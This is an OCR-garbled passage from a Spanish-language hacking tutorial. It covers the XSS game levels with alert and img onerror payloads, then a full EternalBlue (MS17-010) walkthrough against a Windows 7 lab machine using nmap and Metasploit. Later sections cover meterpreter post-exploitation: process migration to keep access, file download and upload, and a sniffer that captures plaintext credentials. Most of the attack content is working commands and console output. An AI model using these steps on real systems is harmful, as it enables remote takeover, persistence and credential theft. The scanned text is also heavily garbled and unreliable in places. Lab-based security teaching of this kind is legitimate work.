para entrar, dirigete a la URL https://xss-
game.appspot.com/ .

. Una vez aqui, veras esta pantalla.

Warning: You are entering the Xss game area

Welcome, recruit]

Ero;sfsite scripting (XS5) bugs are
vulnerabilities in Web applications.

to steal or modify user data in your apps and you must le

Sl arn to dispatch them,

At Google, we know very well h i

At ok VW oW 1mportant these bugs are In fa

;erluui abuyt finding and fixing XSS issues that we are péyi: = angle e
$7,500 for dangerous Xs5 bugs disc et o ories up to

overed in our most sensitive products

In this training pregram, you

g will learn t i i S
this knowledge to confuse and e A e veun s

infuriate youp adversarias by preventing

from happening in your applications. S s

There will be cake at the end of the test

Haz clic en el botén verde, y te llevara al primer
nivel de seis, en este nivel.
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[176] Level 1: Hello, world ofF XSS

Mission Description

This level demonstrates a common cause of cross-site scripting where usep

input
is directly included in the page without proper escaping.

Interact with the vulnerable application window below and find a viay to make it
execute JavaScript of your choosing. You can take actions inside the vulnerabla
window or directly edit its URL bar.

Mission Objective
Inject a script to pop up a JavaScript alert() in the frame below.

Once you show the alert you will be able to advance to the next level.

Your Target

1 lamvulnerable

https://xss-game.appspot.com/lavell/frame ] I_i_j

FourOrFour

Enter guery here... Search

En este nivel, deberds hacer la inyeccion XSS mas
basica, en este caso, inyectar un script que cree
una alerta en la pagina, este es un tipo de
inyeccion reflejada.

Para hacer esto, escribe el script

<script>alert(“hacker”)</script>.
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Este script es muy sencillo, es un script en
JavaScript como lo que utilizamos en cualquier
pagina para crear una alerta, sin embargo, como
esta pagina es vulnerable, tomara el script en la
busqueda y lo ejecutara en los clientes.
Al tener éxito la pagina te felicitara y te dara paso al
siguiente reto.

['I/ - ’555'95'“3-’-1'«‘!?5{—‘31 com says

tulztions. you exaculed an alert

USRSV AT You can now advance 1o the neyt favel

is ¢

Tntepact with

execute JavaScrapt o your choosing. You can take actions anside

window or directly edit its URL bar.
Mission Objective
Inject a sepipt to pop up a JavaScript alert() in the frama below.
Once you show the alert you will be able to advance to the next leval.

Yaur Target

2§ [ amvuinerabla

-game. ap_pspot.cumflEUElUframe-EJ scriptralert(

“hacker®)</scripts |! Go |

FourOrFour

Soity, no results were found for , Iry again.
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Ahora, en el segundo nivel, te pedird que hagas
otra inyeccion XSS, pero ahora del tipo persistente,
lo cual es un poco mas avanzado.

En este ejercicio, estds en una pagina que te

permite hacer posts, y estos se quedan grabados.

[2/6] Level 2: Persistence is key

Mission Description
Web applications often keep user data in server-side and, iner ingly, client-
side databases and laten display it to users. No matter wher
controlled data comes from, it should be handled carefully.
This level shows how easily XSS bugs can be introduced in complex apps.
Mission Objective

Inject a script to pop up an alert() in the context of the application.

Note: the application saves your posts so if you snpeak in code tuv execute the
alert, this level will be solved every time you reload it.

Your Target

1 |amyvulnzrable

!fxss—gammffrbfs LM ]
3 Had(:ha""t'r Chatter from across the Web.

You
Sat Oct 13 2018 13,0140 GHT-0500 (Central Daylight Time)

Welcomel!

This is your sersenal stream. You can post anything
you want here, espedially madsess.

Target code (foggle)
Hints @/3 (show)
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Para resolver este reto, lo primero que

probablemente intentaste, es utilizar el mismo

script que en el reto

pasado(<script>alert(“hacker”)</script>) a ver

qué sucede, te daras cuenta de que esto no

funciona, dejando un espacio blanco en el chat.

# [amvulnerable

URLihttps://xss-game.appspot. com/le

vel2/frame

‘VW!"!TF P

i B B s

This Is your personal stream. You can pest anything
you want here, especially madness,

You

Sat Oct 13 2018 13:10:25 GMT-0500 [Central Daylight Tima)

Prueba del chat

You

Sat Oct 13 2018 13:10:25 GMT-0500 {Central Daylight Tima)

[

Aqui la falla la podriamos encontrar en el codigo o
probando distintas cosas, notamos que en las
imagenes podemos crear errores, entonces

simplemente le decimos que hacer al encontrar un
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error, con el codigo <img src="hacker

onerror="alert("hackeandoando")">

[a/ ¥ss-game.appspol.com says k@LJ

z, vou executed an aler:

ingly, client-
Jdicati ¥ou gan now advance 16 the next level J:f(hy R
Web applicaticleEie i
side datab:
conty

his e oW €as X55 5 can’ ba antroduced in complex apps-
is lev shows h 1L bugs p
is leve 7

Mission Objective

nject a scr: to pop up al n the conte of the application.
ipt I ar ert() € xt o p
Ing a s P

e e applica B. 1 =88 o ecute

Not so if you speak in cade to execu

z ication saves your posts so if y ) Sl

j ik 1 ]fl thiir- level will be solved every time you reload it
alert, 5

Your Target

2 lamyulnerable

You ey
S5t Ost 13 2018 13:23:30 GMT-0500 [Cantral Daylight Time)

. You —
: Sat Get 312 3013 13:24:24 GMT-G500 {Cantral Daylight Tima)
H £ 5

Hay otros cuatro niveles, sin embargo, creo que es
mas apropiado que sigas en esto por tu cuenta,
recuerda, la meta aqui es generar errores
utilizando codigo JavaScript y HTML, utiliza la
documentacion de OWASP para ayudarte.
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Hasta ahora hemos explorado algunos de los

Exploits de Metasploit

exploits mas comunes en aplicaciones y paginas
web, sin embargo, debemos de recordar que
existen muchas otras plataformas en las que
existen vulnerabilidades que permiten explotacidn,
Yy una de mis herramientas favoritas para esto sigue
siendo Metasploit,

A este punto ya conoces la estructura de
Metasploit, asi que notaras que el médulo que nos
interesa realmente es el de “exploit”, abre Ia
herramienta y eémpecemos a explorar este médulo
mas.

Hackeando Windows moderno -
(EternalBlue, EternalPulsar,
EternalRomance)

En estos Ultimos afios fue liberado un exploit que

ha probado ser devastador para el sistema
operativo Windows, desde los Windows 7, hasta
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los Windows Servers, ya que ha afectado a casi
todas las versiones del sistema moderno, esta
vulnerabilidad se le llamé EternalBlue, aunque
existen ya varias versiones de esta, asi que vale la
pena mas investigarlo con el CVE con el que fue
reportado, el cual es del CVE-2017-0143-CVE-
2017-0148 (si, tiene mas de un CVE).

Esta vulnerabilidad nacio a partir de una falla en el
sistema SMB de Windows, y fue utilizada para
crear el ransomware WannaCry, que causo
pérdidas millonarias en muchas organizaciones, ya
que, con tener acceso por red al sistema, se puede
obtener acceso con privilegios elevados por este

método.

Practica

Ahora si, vamos a realizar el ataque, para esto,
abre primero tu sistema Windows 7 en la maquina
virtual, y tu sistema Kali.

Asegurate que ambos tengan visibilidad uno del

otro (que estén en la misma red), para esto quizas
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tendras que deshabilitar e| Firewall de Windows

(esto es comuin dentro de una red empresarial).

B Windows 7

L A |

Ahora vamos a confirmar que nuestro Windows

tiene la vulnerabilidad, podriamos hacerlo de
distintas formas, incluyendo Nessus, sin embargo,
una de mis maneras preferidas para algo sencillo
como esto es utilizar nmap, ya que es sencillo,

rapido, y decentemente discreto (comparado con
algo como Nessus).

Para esto, escribiremos en la terminal:

nmap -p445 --script smb-vuln-ms17-010
192.168.1.141

Tomando en cuenta que 192.168.1.141 es la |P del
Windows que atacaremos, también recordemos

que esto pudimos encontrarlo si se van a la pagina
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References:

See also:

The sciipt connects fo the SIPC tree, execy
palched against ms17-010. Additionally it checks for knoiit Mor codes retumed by paiched systems.

de scripts de nmap
https:llnmag.orqlnsedoc!index.html y buscan

EternalBlue o su CVE, encontrarian esta pagina

httr._\s:llnmap.orglnsedoclscriptslsmb-vuln-

ms17-010.html con instrucciones de cémo usar el

script para determinar si es 0 no un sistema

vulnerable a esto.

File smb-vuln-ms17-@1@

Script types: hosliuie
Categories: vailn, safe
Dowinload: hﬂps:!!sunnmap.mgfnmap;scnp‘lsismb-vuin-msﬂ-%)l&nse

User Summary

Atlempts o detectila Microsoll SMBv1 setver Is vulnerable fo a remote code execulion vunerabiity {
WannaCry and Petya ransomware and other malware.

tes a transaction on FID 0 and checks if the efror *STATUS_INSUFF_SERVER |

Testad on Windows XP, 2003.7, 8, 8.1, 10, 2008, 2042 and 2016

. htﬁ:»s:!.r'leshneLminmsaﬂ_comfen-ussllh;aryﬂsecuritﬂmsﬂmG.aspx
' hi‘qas:i.fblogs.technetminrosomomﬁmsrci
. hﬂps;f!rn's:in.micmsch.comfen-usnmrary!eewum.nspx
. h!tps:f.’giL‘nuh.camn‘rapid?!metasplalt-fmneworwmoh
. h'nps:ugilhub.convc!.dmmmap-nse-scﬁpls(wiki:Na!es-a

201?#05.‘IZfauslamer-gu‘sdance-?or-wannacrypl-anacks!

! i fsmblsmb_ms7_010.00

y!
bott-smb-vulnams17-010

+ smb-double-puisar-backdoor.nse
Script Arguments
smb-vuln-ms17-010.sharename
Share name lo connect. Detaull: IPCS

smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername
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Ahora si, ejecutamos el script en nuestra terminal,
deberiamos obtener una respuesta similar a la
siguiente, nota el apartado en el que te dice que el
estado de este sistema es VULNERABLE.

i=# nmap -p445 --script smb-vuln-ms17-010 192.168.1.141

starting Nmap 7.700 ( https://nmap.org ) at 2018-10-13 13:52 €DT

can report for 192.168.1.141

st 1s up (0.000265 latency).

R RESOURCES' Is retumed to determine i Ine targel

PRT

STATE SERVICE

J5/tcp open microsoft-ds

e Address; 00:0C;:29:BE:D4:77 (VMware)

nst seript results:
smo-vuln-ms17-010;
VULNERABLE:
Herl}o_te Code Execution vulnerability in Microseft SMBv1 servers {ms17-010)

VULNERABLE
CVE-2017-0143
"+ HIGH
remote code executi i1 R :
ers (ns17-010). cution yulnerability exists in Microsoft SMBv1

Disclosure date: 2017-03-14
References:

https://tec icros
\ttpst//technet. microsoft, com/en-us/library/security/ms17-610 aspx

https://blogs. technet.micros
+//blos, .microsoft.com/msrc/2017/05/12/cus 1 c
https://cve.mitre.org/cgi-bin/cvename.cgi ?name:d’E-gétlj;FgTE;-g“mmw- BRI C

Ahora que ya sabemos que nuestro ataque sera un
exito, abriremos Metasploit con el comando
msfconsole.

Dentro de Metasploit, podriamos poner la ruta
donde esta el exploit, la cual es

exploit/windows/smb/ms17_010_eternalblue, sin

embargo, si asumimos que no conocemos la ruta
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desde antes, podemos utilizar la palabra reservada

search para encontrar dicho exploit.

msf > search eternalblue

[!] Module database cache not built yet, using slow Search|

Esperamos unos cuantos minutos, y en la terminal
la herramienta nos dara las rutas de los exploits

relacionados con Eternalblue, nota que también

‘VWHITE Sl ‘y WHITE SUIT
.HA(‘,R|N“ ° AT K 1 N 6

‘, Para utilizar el script usaremos la palabra

« reservada use, ejecutando el comando use
|

exploit/windows/smb/ms17_01 0_eternalblue
para abrir el exploit.

sf > use exploit/windows/ smb/ms17 010 eternalblue
sf exploit( kY |
Luego de eso, veremos las opciones que tenemos

que modificar con las palabras reservadas show

options.

nos muestra la version compatible con Windows 8,
y el script en el médulo auxiliary haria la misma

funcién que hicimos con nmap para probar si es

if exploit(
| &

) > show options

'; fule options (exp10it,f\-.vindoww'smb/ms177010_eternalbluej:

Current Setting Required Description

vulnerable la maquina o no.

5 yes The amount to increase the groom count by per try,
r e : 7. asi : 3 yes The number of times to retry the explodt,
En este caso nuestra maquina es Windows 7, Proces spoolsy, exe yes Process to inject payload into,

que utilizaremos esta version.

e Rank
mand . formal
thtoe 281 ave

srnalblue wing

110, psexe 2 1 M517-010 EternalRomance/EtarnalSyneray/EternalChaspi Windaws 7 and Server 2008 R2 (x64) ALl Service Packs
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12 Initial number of times to groom the kernel pool,

yes The target address
445 yes The target port (TcP)
no (Optional) The Windows demain to use for authentication
no (Optional) The password for the specified username
no (Optional) The username to authenticate as
erifyArch yes Check if remote architecture matches exploit Target,
lerifyTarget yes Check if remote 0S matches exploit Target.
| |

mance/EternalSynergy/Eternalhaspio

loit target:
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Como podemos notar, casi todas las variables ya

tienen valores, sin embargo, la mas importante,

RHOST, aln no tiene variable, esta se refiere a la

IP del objetivo, la cual es 192.168.1.141, en este

caso, el Windows 7.

Vamos a asignarla con la palabra reservada set,

siendo el comando completo set RHOST
192.168.1.141.

msf exploit(

) > set RHOST 192,168.1, 141}

RHOST => 192.168.1.141

Y listo, ya estamos preparados para lanzar el

ataque, para lanzarlo, utilizaremos la palabra

msf exploit(

reservada exploit, y el ataque iniciara.

) > exploit

[*] Started reverse TCP handler on 192,168.1.67:4444

192 168.1.141:445 -
- Connection established fer exploitation.
- Target 05 selected valid for 05 indicated by SHB reply

168 1.141;445
58,1.141:445

.163 1.141:445 -
92.168.1.141: diS -
- (x00E0PE1O 61 73 69 63 20 37 36 30 30 a
- Target arch selected valid for arch indicated by DCE/RPC reply
- Trying exploit with 12 Groom Allocations,

2.168.1,14
92.168.1. 1
2.168.1.141:445

.168.1.141:445 -

Connecting to target for exploitation.

CORE raw buffer dump (25 bytes)
Ax000000E0 57 69 Be 64 6f 77 73 28 37 20 48 6f 6d 65 20 42-W

sending all but last fragment of exploit packet

68.1,141:445 - ETERNALBLUE overwrite completed successfully (@xCa0a0eap)!

‘163.1.1?%;445 - Triggering free of corrupted buffer.

nd shell session 1 opened (192,168.1,67:4444 -> 192,168,1,141; 0) at 2018- 315024
e > .1.141:49380) at 2018-10-13 15:24:29 -0500
,168.1.141:445

7,168.1.141:445 - =

‘VWH[T;SUIT

Cuando aparezca esto, significa que el ataque fue

exitoso, presiona enter y en poco tiempo tendras

una shell del sistema con privilegios elevados.

1.141:445 - Sending egg to corrupted connection.

Tener esto en la terminal significa que tienes una

shell del sistema con privilegios elevados, en otras
palabras, es como si tuvieras una consola de

comandos abierta en el sistema.
C:\Windows\system32>

Esto significa que tienes control completo del

sistema, felicidades, el ataque fue un éxito.

Post explotacion de una shell

A pesar de que el ataque fue un éxito, notaras que
simplemente con una shell realmente no tienes

tanto control como teniamos con un meterpreter,
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ya que no puedes facilmente descargar material,
subir o acceder a funciones como el teclado,
camara, pantalla, etc, al igual generalmente estas
limitado a ver archivos del sistema, administrarlos o
ejecutarlo, a menos que ejecutes un script mas
avanzado en la terminal.

C:\Windows\system32>dir

dir

El volumen de la unidad C no tiene etiqueta.
El neémero de serie del volumen es: 4A19-FD7D

Directorio de C:\Windows\system32

13/10/2018 13:49 <DIR>

13/10/2018 13:49 <DIR> -
14/07/2009 04:30 <DIR=> OCOA
13/07/2009 20:39 158.208 aaclient.dill
13/07/2609 20:40 3,745,792 accessibilitycpl.dll}
13/07/2609 20:24 39,424 ACCTRES.dll
13/07/2609 20:40 9,216 acledit.dll
13/07/2609 20:40 154,112 aclui.dll

Esto no es un mal nivel de acceso, pero como
siempre, queremos mas, asi que, para eso, vamos
a transformar nuestra shell en una sesion
meterpreter.

Empecemos por mandar al background la shell,
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para esto, haz clic en la tecla control, y luego la

letra z, y presiona y Yy enter para aceptar.

C:\Windows\system32>~7

Background session 17 [y/N]

Ahora estas en la consola principal de Metasploit
es tiempo de utilizar el médulo POST de esta |
herramienta, en este caso nos interesa transformar
la shell a un meterpreter, asi que utilizaremos |a
palabra reservada search para buscar un script asi
escribiendo search shell_to_meterpreter. |
fexploit(

.) > search shell to meterpreter
, Using slow search

En poco tiempo te mostrara los resultados, siendo

el script postlmultilmanagelshell_to_meterpreter
el que buscamos.
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Lo utilizaremos con el comando use

|
) > use pnst/multi/manaqe/shellfto_meterprmr“
S | ;

Y lo configuraremos como cualquier otro script en

post/multi/manage/shell_to_meterpreter.

msf exploit(
msf post(i

Metasploit, escribiendo show options para ver las
opciones, y posteriormente seleccionaremos que
queremos ejecutarlo en la sesion 1, qué es la shell
que obtuvimos con EternalBlue.

Recuerda que podemos saber el numero de la
sesion utilizando la palabra reservada sessions -i,
y que podriamos modificar las variables LHOST y
LPORT si quisiéramos mandar el meterpreter a

otro puerto o sistema.

msf post( | > show options
Module options (post/multi/nanage/shell to meterpreter)

Neme  Current Setting Reguired Description

HANDLER true
LHOST
LPORT
SESSION

ive the connection
ctaon from the payload (WLl try to auto detec |

W

Start an exploit/multi/handt
IP of fiost that
Port for pa

The session €0 run th

4433

st post(
SESSION => 1

) > set SESSION 1
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:-:-eterpreter segsiun 2 opened (192,168.1,67:4433 -» 192.168.1.141:49413) at 2018-
Stopping exploit/multi/handler

\

Una vez configurado, iniciamos el script con Ia
palabra exploit.

ESUIT
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| Luego de esto, empezara a procesar el script.
sf post(

) > exploit

Upgrading session ID: 1
| Starting exploit/multi/handler

Started reverse TCP handler *on 192.168.1.67:4433
Post module execution completed

Y a los pocos segundos deberia de aparecer en tu
terminal esto, que significa que tienes un

meterpreter de la maquina.
Sending stage (179779 bytes) to 192,168.1, 141
10-13 15;39:42 -0509

Una vez con el nuevo acceso, puedes confirmar la
sesion con el comando sessions -i, e interactuar

con el meterpreter con el comando sessions -j 2,
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> sessions -1
msf post(i )

Vol
WHITE Sujy|

Active sessions

Information

Id Name Type
: & Connection

shell x64/windows 4 it
Bﬂé Micresoft Corporation... 192,168.1.67:4444 > 192,168.1,141:49380 (192.168.1,141)

q windows NT AUTHORTTY\SYSTEM @ WIN-KAGNAUTILSB .
i L X86/”1q92.168.l.67:4433 > 192,168,1,141:49413 (192.168.1,14])

: ions -1 2
msf post( ) > sessl

[*] Starting interaction with 2...

neterpreter > |

Y listo, a este punto ya tienes control completo del

sistema, aprenderemos mas de post-explotacion en

la siguiente seccion.

msf post(m ' Lt
r+] Starting interaction with 2...

L

) > sessions -i 2

meterpreter > getuid
server username: NT AUTHORITY\SYSTEM

nfo
. WIN-KAGNAUTILSB
. Windows 7 (Build 7600).

Architecture 1 X64

System Language : es ES
Domadin : WORKGROUP

Logged On Users @ 2 .
Meterpreter 1 x86/windows

meterpreter > [
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Microsoft Windows [Versi n 6.1.7600] Copyright (c) }
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Ahora que ya aprendiste sobre como hacer

Post- Explotacion

reconocimiento, analisis de vulnerabilidades, y
explotar diversos sistemas, tienes que aprender a
dominar lo que sigue, que se llama post-
explotacion, post explotacion es todo lo que le
sigue, puede ser desde cosas sencillas como robar
un archivo, activar la webcam o el micréfono, hasta
cosas mas avanzadas como pivotear, es decir,
atacar a un sistema desde un sistema infectado.
En esta seccidon aprenderas como realizar cada
una de estas cosas, algunas de estos ataques ya
los he mencionado anteriormente, pero las
funciones mas avanzadas como persistencia y
pivoteo las veremos en esta seccion.

Oftra cosa, principalmente utilizaremos Metasploit
y asumiremos que tienes una sesion meterpreter,
ya que a este punto ya sabes que, si obtienes una
sesion powershell o shell, puedes convertirla en

meterpreter relativamente facil.
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Post-Reconocimiento local

Antes que nada, siempre que obtenemos acceso a
un sistema, lo primero que deberiamos hacer es
realizar una etapa de reconocimiento local, es
decir, dentro del sistema comprometido.

Nos interesa saber informacién como en qué
sistema estamos, usuario, que nivel de permisos,
que IP tenemos, etc., asi que hagamos eso

primero.

¢, Qué sistema es?

Para obtener que sistema es, lo mas sencillo es
utilizar el comando sysinfo, que nos mostrara algo
de la informacion del sistema como sistema
operativo y version de este, asi como el nombre de

la computadora en donde estamos.
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\rchitecture : X64
lsystem Language : es ES

logged On Users : 2
leterpreter : X86/windows

eterpreter > getuid
rver username: NT AUTHORITY\SYSTEM

‘V WHITE SUIT
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ieterpreter > sy51nfo
(omputer . WIN-KAGNAUTILSB

US : Windows 7 (Build 7600).

Jomain : WORKGROUP

¢, Qué usuario es?
Para obtener el usuario en el que tenemos control,
basta con utilizar el comando getuid, gue nos
mostrara el nivel de usuario en el que esta
corriendo el proceso que te da control del sistema.
Esto también es muy util porque podemos saber si
tenemos control nivel sistema o nivel usuario, por
ejemplo, si estamos corriendo como
"AUTHORITY/SYSTEM”, podemos asumir que

tenemos privilegios de sistema.




\[

Mientras que un acceso nivel usuario se veria algo

como lo siguiente.

meterpreter > getuid

Sarver username: WIN-KAGNAUTILSB\WhiteSuit Hackin

Ambos niveles de usuario tienen su funcién, por
ejemplo, un servicio nivel sistema puede afectar las
interfaces y realizar ciertos ataques, COMO los de
pivote; sin embargo, un acceso nivel usuario podria
acceder y atacar recursos a nivel usuario tal como

los navegadores, camaras, microfonos, teclados de

manera mas facil

Procesos

Nuestro malware esta corriendo en un proceso en
el sistema infectado, asi como todos los demas
programas, asi que algo que nos interesa conocer
son los procesos o programas que esta corriendo

el sistema, para esto, usa el comando ps.

meterpreter > ps
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Y mostrard los procesos que esta corriendo el

sistema, mostrandonos el PID, que es Process ID

el nombre del proceso, y el usuario que esta

utilizando ese proceso.

Ahora, si obtuvimos acceso a este sistema por
medio de un payload, si la victima cierra nuestro
proceso perderiamos acceso al sistema, sin
embargo, una forma facil de evitar esto es
migrarlos a otro proceso, para hacerlo es necesario
que nuestro codigo malicioso se “cuelgue” de otro
programa, para esto, utilizaremos el comando

migrate, seguido del PID al que nos queremos
migrar.
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Recuerda, tenemos que migrarnos a un proceso ? Direccion IP
con i usuari & ' — . :
el mismo usuario en el que estamos, en este Y, por ultimo, todo sistema que explotemos tiene
cas i ce d ” z .
o me movi al proceso 2996, entonces, atinque una direccién en la red en la que esta, es decir, una
cierren mi rama malicioso : Z ; :
prog a malicioso, no perderé control. ‘ IP en su LAN, nos interesa saber cual es esta

'T_]Eter. rete[' > migrate 2996 | direccion, ademas de como esta conectado, es
[*] Migrating from 3036 to 2996...

decir, que interfaz de conexion esta usando, para

[*#] Migration completed successfully, ,
esto podemos usar simplemente el comando

Puedo confirmar que sigo teniendo acceso ifconfig

meterpreter > ifconfig

meterpreter > getuid . Un sistema puede tener muchas interfaces, pero la
Server username: WIN-KAGNAUTJLSB\WhlteSult Hacking que nos interesa conocer es la que tenga una IP en
meterpreter > sysinfo | .

Computer . WIN-KAGNAUTILSB , la red LAN, y en donde dice IPv4 o IPv6

0s - Windows 7 (Build 7600). : encontraremos la IP local. ) -
Architecture : X64 ‘

System Language : es ES : o  Intel (Rl PRO/1609 =
: ) | : Conexi®n de red Inte
Domain + WORKGROUP Hardware MAC : 00:0c:29:be:d4:77
Logged On Users : 2 iU . 1500
Meterpreter : x64/windows IPv4 Address : 192.168.1.141
NlIPv4 Netmask : 255.255.255.0
1| IPV6 Address : fe80::fcfc:1498:6662:5b26
llIPv6 Netmask : Tfff:ffff:ffff:ffff::

ejecutando algunos comandos basicos.
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Eso es todo para €l reconocimiento en post-
explotacion, ciertamente hay muchos mas
comandos y funciones que podamos utilizar. Te
recomiendo pensar que mas informacion te
interesaria sacar de un sistema comprometido y
encontrar la manera de hacerlo en Metasploit

utilizando lo que has aprendido hasta ahora.

Ataques al objetivo

Ahora gue conocemaos un poco mas del sistema al
que tenemos acceso, empecemos a atacar, vamos
a comprometer principalmente la integridad y la

confidencialidad de la informacion de nuestro

objetivo.

Descarga de archivos

Una vez que estamos en el meterpreter, lo primero
que nos interesa es saber en qué ubicacion en el
directorio de archivos estamos, para esto, podemos

usar el comando pwd.
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meterpreter > pwd
C:\Windows\system32

Ahora, nos interesa saber los archivos que estan

dentro de esta direccion, con el comando Is

podemos obtener esta informacion.

Size Type Last modified Name

dir 2009-07-14 04:30:43 -0500 0COA

/rv-rv-rv- 19008 fil  2018-16-14 21:58:55 -0500 7B296FB0-3768-497e-B012-9C450E187327-5P-

56-A289-439d-8115-601632D0O5A0

/v Tw-rw- 19608 fil  2018-10-14 21:58:55 -0500 7B296FB0-376B-497e-B012-9C450E1B7327-5P-

56-A289-439d-8115-601632D005A0
/r-r-r- - 39424 fil ~ 2009-07-13 20:24:45 -0500 ACCTRES.d1l
[rwxrvixmwx 24064 fil  2609-07-13 20:38:55 -0500 ARP.EXE
Jrv-rv-rW- 499712 fil  2009-67-13 20:41:53 -0560 AUDIOKSE.dll

Digamos que queremos ver lo que esta en el

escritorio, vamos a cambiarnos de directorio con el
comando cd.

meterpreter A/
meterpreter > pwd

(SN

meterpreter cd Users
meterpreter pwd

C:\Users

meterpreter > cd "WhiteSuit Hacking"
meterpreter > cd Desktop
meterpreter > pwd

C:\Users\WhiteSuit Hacking\Desktop
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Ahora, digamos que queremos descargar un

archivo, el comando WinRAR nos permitira esto.

meterpreter > download winrar.exe

[*] Downloading: winrar.exe -> winrar.exe

[*] Downloaded 1.60 MiB of 2.03 MiB (49.35%): winrar.exe -> Winrar,eye
[*] Downloaded 2.00 MiB of 2.03 MiB (98.7%): winrar.exe -> winrar,eye
[*] Downloaded 2.03 MiB of 2.03 MiB (100.0%): winrar.exe -> Winrar,ey
[*] download : winrar.exe -> winrar.exe

Si queremos eliminarlo con rm podemos hacerlo.

meterpreter > rm winrar.exe §

También podriamos subir archivos si lo deseamos,

con el comando upload.

meterpreter > upload /root/WhiteSuitBG.png

[#] uploading ¢ /root/WhiteSuitBG.pnd -> WhiteSuitBG.png

[*] Uploaded 2.27 MiB of 2.27 MiB (100.0%): /root/WhiteSuitBG.png -> WhiteSuitBg.py|
[*] uploaded : /root/WhiteSuitBG.png -> WhiteSuitBG.png

Sniffer

Ahora imaginemos que lo que queremos realmente
es interceptar las conexiones que hace esta
maquina en su red, para poder interceptar
paquetes en esta, para esto, podemos plantar un

sniffer en el sistema, con el comando load sniffer.
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neterpreter > load sniffer
Loading extension sniffer...Success

Ahora nos interesa saber que interfaces de red
podemos utilizar para interceptar las conexiones
del sistema, para esto, utilizaremos el comando
sniffer_interfaces.

Nota que solo una de ellas tiene DHCP, es decir, IP

en lared, esa es Ia que nos interesa utilizar.
terpreter > sniffer interfaces

'WIAN Miniport (Network Monitor) ( type: :
Al i . pe:3 mtu;1514 usable:true dhep: false wifi:f
- 'Conex1¥n de red Intel(R) PRO/1000 MT'  type:0 mtu:1514 usable:true dhcp:true'wlq}isffelntse )

Ahora iniciaremos [a intercepcion de paquetes,
recuerda, el sniffer guardara todos los paquetes
que pasen por esa interfaz, para hacer esto,
utilizaremos el comando con el formato

sniffer_start <ntimero de interfaz> <numero de

paquetes a guardar>
(reter > sniffer start -

b SMLFfer start [Interface-id) (packet-buffer (1-200000] B filter (gt wterete ol ]
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seria sniffer_stats 2.
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En este caso, digamos que queremos interceptar
2000 paquetes en la interfaz dos, el comando que

utilizaremos sera sniffer_start 2 2000

meterpreter > sniffer start 2 2000
[*] Capture started on interface 2 (2000 packet buffep|

Para ver el estatus de cuantos paquetes hemos
interceptado, puedes utilizar el comando

sniffer_stats <namero de interfaz>, en este caso

meterpreter > sniffer_stats 2 |
[*] Capture statistics for interface :
packets: 1028
bytes: 201916

Ahora, para descargar estos paquetes, el comando
es sniffer_dump <ntimero de interfaz>
</direccién/archivo.pcap>.

meterpreter > sniffer dump -h -
Usage: sniffer dump [interface-id] [pcap-file]

‘VWHITE SUIT
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En este caso, si quiero guardar el archivo en mi
escritorio, el comando sera sniffer_dump 2

Iroot/Desktop/sniffer.pcap

Sl cterpreter > sniffer dump 2 /root/Desktop/sniffer.pcap
] Flushing packet capture buffer for interface 2...
| Flushed 2000 packets (969459 bytes)
| Downloaded 054% (524288/969459). ..
Downloaded 100% (969459/969459). ..
| Download completed, converting to PCAP...
| PCAP file written to /root/Desktop/sniffer.pcap

Ahora detengamos el sniffer con el comando
sniffer_stop <nuimero de interfaz>, es decir,

shiffer_stop 2.

leterpreter > sniffer stop 2
|'| Capture stopped on interface 2
|*] There are 5458 packets (3871863 bytes) remaining
| Download or release them using 'sniffer dump' or 'sniffer release'

Listo, a este punto tenemos todas las conexiones

que hizo la maquina desde que iniciamos el sniffer
(limitado a 2000 paquetes). Para abrirlo,
simplemente abrimos el archivo pcap en
WireShark.
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anifferpeap

Fle Edt View Go Cepture Ansiyre Siatistics Telephony Wheless Tools Help

192.168,1.355

365 54915 - 5
192.168.1.141 192.168,1. 387 (<] 54 49348 - 8660 [ACK] Seq=i Ack=l Wma=16366 Len=h
332.168. _l 83 172,217,113, 474 lipe 1292 #1973 ~ 443 L 4
6 .6800a8 2 1.174 {114 1382 61973 ~ 443 Les=1350
7 0.000500 17221711314 uoe 1392 §1973 - 443 L& 3
£ 9.089009 217.11.174 g 1352 61873 - 443 Le 9.
9 4,686660 172.217.11.174 UnP 1352 61973 - 443 Le:
10 ©.080565 172.247 11,474 uoe 1392 61973 - 443 Len=1358
11 9.908038 172,217,11.178 upp 1292 61973 - 443 Le
12 5.698088 172.217. 55,074 i 134 61973 ~ 443 Le
13 0.000985 Lo 94 51735 - 53808 L2A752
14 5. 000992 upe 64 443 - 51973 Lea=i2
15 0.668860 e 1392 443 ~ 53261 Len=1358
16 0.096955 182, lﬁ 15 8’3 UDP 557 443« 53261 Len=5i5
17 9.9g0000 74.125.195.159 uoP 7153261 ~ 243 LessI3
16 0. 585560 Veware_S3:06:c8 Anp A2 Wno has 102.168.1,687 Tell 192.168.1.141
19 0.698838 L 60 107,168.1.68 83:80:29:63:06108
P 352 443 - B1973 L

28 §.688032
71 §.8608596
22 0.003009

uopP B8 443 - 61873 Lj
7291873 - 443

! o
25 0.800808
26 0.608901
27 0.8pasEs
28 0. 8aaaad

47 192.168.1.141 fc 3
e 171 38587 - Ba6a [PSR, ACK] Seq
F71 BRGS ~ 38587, TPse - ALK} Sen=t ACK=118 W1

)92 168,35, 187
192,168,041 we

‘

S Frame 1: 464 Bytes on wire (3712 mrl, 183 bytes captured (3712 bifs) — e =
\ Ethernet 15, Src: Shenzhen 4diaf:28 (dB:37:be:ad:af:28), Dst: Micro-St 7M7f:ee (dcice:fa: 657Free)

, Internet Procorol Versien 4, Srer 197,188.1.254, Dst: 192.366.3.83
» User Datagram Protocol, Src Port: 433a1, pst Port: 56388

+ Data (422 bytes)

dc cc 6a 7f 77 ee d8 37 be 4d af 28 8808 45 60 L] 7 M({ E
B c2 DO G5 40 69 46 1Y b4 B3 B a8 91 Te <@ a8 &8

@ 7 snifferpp S Packets 2600 Displayed: 2000 (100.0%)

Ack= l 1in=254 Len=147 [TCP seument of A resse
Leazt1 FIER. senment o 4o =

Aqui podremos ver desde que hizo la persona en
cuanto a redes, hasta credenciales o archivos que

se hayan mandado sin estar encriptados.
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Frame 86: 917 bytes on wire (7336 bits), 917 bytes captured (7336 bits) on interface

Ethernet II, Src: @a:6ci@6:farlb:f2 (@a:6c:f6:fa:lb:f2), Dst: Ba:6f:94:56:c9:1b (Ba:l

Internet Protocol Version 4, Src: , Dst: &

Transmission Control Protocel, Src Port: 43486, Dst Port: 83, Seq: 1, Ack: 1, Len: 8
) Hypertext Transfer Frctocol

-ua-form-urlencoded

KEy: UsErI0
Value: AB11757985sf
¥ Form item:| "password”
Key: password
Value: 22ryu
v Form item: "Iogin" = "Login”
Key: login
Value: togin
